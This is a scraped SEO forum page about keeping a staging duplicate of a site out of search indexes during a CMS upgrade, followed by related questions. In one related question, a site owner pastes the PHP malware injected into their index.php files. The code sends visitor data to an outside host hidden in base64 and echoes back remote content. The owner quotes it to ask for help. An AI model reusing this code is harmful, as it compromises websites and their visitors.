Creating duplicate site for testing purpose. Can it hurt original site
-
Hello,
We are soon going to upgrade the cms to latest version along with new functionlaities - the process may take anywhere from 4 week to 6 weeks.
may suggest - we need to work on live server, what we have planned
-
take exact replica of site and move to a test domain, but on live server
-
Block Google, Bing, Yahoo - User-agent: Google Disallow: / , User-agent: Bing Disallow: / User-agent: Yahoo Disallow: / in robots.txt
-
Will upgrade CMS and add functionality - will test the entire structure, check url using screaming frog or xenu and move on to configure the site on original domain
The process upgradation and new tools may take 1 - 1.5 month....
Concern is that despite blocking Google, Bing & Yahoo through User agent disallow - can still the url can be crawled by the search engines - if yes - it may hurt the original site as will read on as entire duplicate or is there any alternate way around.. Many thanks
-
-
Thanks, am using it through Password Protected & meta noindex tag
Its been kept out of search engine crawl !!
-
Hey Gagan,
So I think you're question is will content on your staging site still get indexed despite using robots.txt? The answer is yes, sometimes that does happen especially if a lot of people link to it. The best way to keep content out of the index would be to use the meta robots tag with noindex, nofollow. Search engines are much better about adhering to those than robots.txt.
Let us know if you run into any problems!
-Mike
-
Hi Gagan,
Google are generally more than happy for sites to test new pages, layouts and functionality. They even have some free tools for that purpose.
Content Experiments
https://support.google.com/analytics/answer/1745147?ref_topic=1745207&rd=1
I'm not sure about the viability of of using Content Experiments to test a whole new site, but it would be worth looking into.
Let us know how you get on.
Neil.
-
Ahaa.. Thanks Mr. Robert for your views
However, does any kind of duplicate url can still occur - can google can still crawl the url despite been blocked through robots - can the original running site can suffer in any way, if we create duplicate site
Its a content based site - covering Auto reviews, updates with news, forum & blog updates. There is no ecommerce shopping or products involved
Our tentative time frame to add on features, test all changes and do major upgrade for latest version of cms will be approx 45 days. Do you feel any issue - if both original site and a duplicate one on test domain (despite blocked by robots), but on real time server goes on simultaneously for that period.
Also - you referred other way of testing changes - is it possible to share them ?
-
Gagan
I think this is a great and interesting question. First, you are adding functionality, etc. to a site and you are curious as to the effect of that on visitors to the site once they are on it. This is data anyone in SEO should want to see for their sites.
I would first say that you need to define the test period (assuming you already know what you want to measure) for the site. If it is a week for example, I do not think you need worry about whether a site with three major engines blocked will in some way run into duped content issues. (NOTE: If this is a large site and/or one with a critical revenue need - one that cannot afford to have any type of slight but temporary downturn - I would look for another way to test the changes. Even if I was sure there were no other issues.)
I am assuming that if an ecommerce site for example, there will be the ability for a shopper to purchase on both, etc.
I would not run the test for any long period of time for a site that creates leads, revenue, etc. as I think it could cause customer confusion which can be more critical than duped content.
Let us know how it works out,
Thanks
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Besides description and design optimization, is there any other main factor that we can influence to get better App Store rankings?
Hi there! I do love SEO, the cracking Web Search engine, but when it comes to other Google's search engines like Youtube and Apps Store it's an unknown field for me.
White Hat / Black Hat SEO | | Gaston Riera
So, i'm diving into App Store Optimization, ASO. This is my question: Besides the text and the design in the description of the app, is there any other factor that we can manipulate or influence?(such as linkbuilding, social media or alien magic hehe). Thanks a lot!
GR.0 -
Site redesign what to consider to avoid any issues
Hi GUYS I want to avoid getting myself into a bad situation with google, so I'm just wanting to know if there are any steps I would need to take whilst I'm redesigning and developing my site as I'm currently deploying our new designs. One thing I noticed, i have my new designs and content on our development server to run through any checks before deploying it to the live environment, however while our live site is up, I have duplicate content on the live site that exactly matches the dev site for obvious reasons but do I need to tell google that the dev site is for development purposes only so google knows I'm not duplicating content? I have searched around to find some more info about this, if anyone has some insight i would be glad to know your thoughts. Thank you in advance
White Hat / Black Hat SEO | | edward-may0 -
On-site duplication working - not penalised - any ideas?
I've noticed a website that has been set up with many virtually identical pages. For example many of them have the same content (minimal text, three video clips) and only the town name varies. Surely this is something that Google would be against? However the site is consistently ranking near the top of Google page 1, e.g. http://www.maxcurd.co.uk/magician-guildford.html for "magician Guildford", http://www.maxcurd.co.uk/magician-ascot.html for "magician Ascot" and so on (even when searching without localisation or personalisation). For years I've heard SEO experts say that this sort of thing is frowned on and that they will get penalised, but it never seems to happen. I guess there must be some other reason that this site is ranked highly - any ideas? The content is massively duplicated and the blog hasn't been updated since 2012 but it is ranking above many established older sites that have lots of varied content, good quality backlinks and regular updates. Thanks.
White Hat / Black Hat SEO | | MagicianUK0 -
International web site - duplicate content?
I am looking at a site offering different language options via a javascript drop down chooser. Will google flag this as duplicate content? Should I recommend the purchase of individual domains for each country? i.e. .uk
White Hat / Black Hat SEO | | bakergraphix_yahoo.com1 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
Duplicate content or not? If you're using abstracts from external sources you link to
I was wondering if a page (a blog post, for example) that offers links to external web pages along with abstracts from these pages would be considered duplicate content page and therefore penalized by Google. For example, I have a page that has very little original content (just two or three sentences that summarize or sometimes frame the topic) followed by five references to different external sources. Each reference contains a title, which is a link, and a short abstract, which basically is the first few sentences copied from the page it links to. So, except from a few sentences in the beginning everything is copied from other pages. Such a page would be very helpful for people interested in the topic as the sources it links to had been analyzed before, handpicked and were placed there to enhance user experience. But will this format be considered duplicate or near-duplicate content?
White Hat / Black Hat SEO | | romanbond0 -
Google penalty having bad sites maybe and working on 1 good site ?!!!
I have a list of websites that are not spam.. there are ok sites... just that I need to work on the conent again as the sites content might not be useful for users at 100%. There are not bad sites with spammy content... just that I want to rewrite some of the content to really make great websites... the goal would be to have great content to get natual links and a great user experience.. I have 40 sites... all travel sites related to different destinations around the world. I also have other sites that I haven't worked on for some time.. here are some sites: www.simplyparis.org
White Hat / Black Hat SEO | | sandyallain
www.simplymadrid.org
www.simplyrome.org etc... Again there are not spam sites but not as useful as they coul become... I want to work on few sites only to see how it goes.... will this penalise my sites that I am working on if I have other sites with average content or not as good ? I want to make great content good for link bait 🙂0 -
Beaten in SERP's by a site going 'all in' on 2 keywords in their anchor text profile.
I would like to get peoples thoughts on putting 80% of your anchor text links in just 2 keywords vs a nice spread of branded and longtail keywords.. like I am. recently fell off the first page for a key SERP.. and the site in P10 has gone nuts on just that two keyword's.. I know we have a good site onpage/ conversion / low bounce rate page views etc.. Pretty sure we get more traffic than them. Seems that this obvious bloated anchor text profiling has worked for them though.. What do you guys think/know?
White Hat / Black Hat SEO | | robertrRSwalters0